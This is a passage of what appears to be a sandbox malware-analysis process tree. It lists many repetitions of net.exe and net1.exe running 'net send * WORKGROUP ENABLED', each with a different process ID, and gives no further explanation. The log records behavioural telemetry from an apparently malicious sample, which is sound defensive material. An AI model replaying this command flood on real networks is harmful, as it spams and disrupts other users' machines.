  net send * WORKGROUP ENABLED
  2⤵
  PID:4160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1128
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3496
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2428
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1560
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:396
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2812
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4580
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2228
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2336
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3760
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2460
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1760
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5084
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1212
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:932
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3232
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4756
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2500
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1532
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4152
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2300
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3232
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4520
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2500
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3496
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2336
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4740
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4296
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:932
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4024
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5056
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2072
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4468
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3060
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3496
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2336
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4740
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1760
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5084
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4160
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4916
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:8
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2488
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1380
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1304
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:228
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:436
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5100
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:932
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5096
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2072
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1380
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1128
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:228
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4300
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3424
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:932
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4160
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3536
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3060
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2228
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2336
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4740
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:932
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2300
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5056
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3536
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3060
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4508
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4392
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3316
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4944
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3512
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1888
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:492
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:8
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:396
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2868
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4580
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2692
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3316
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2060
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2068
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4520
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2868
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1380
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2812
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4740
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2460
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4944
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2060
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2068
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2496
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4468
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:8
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3060
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3496
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4392
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4152
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1760
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1412
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
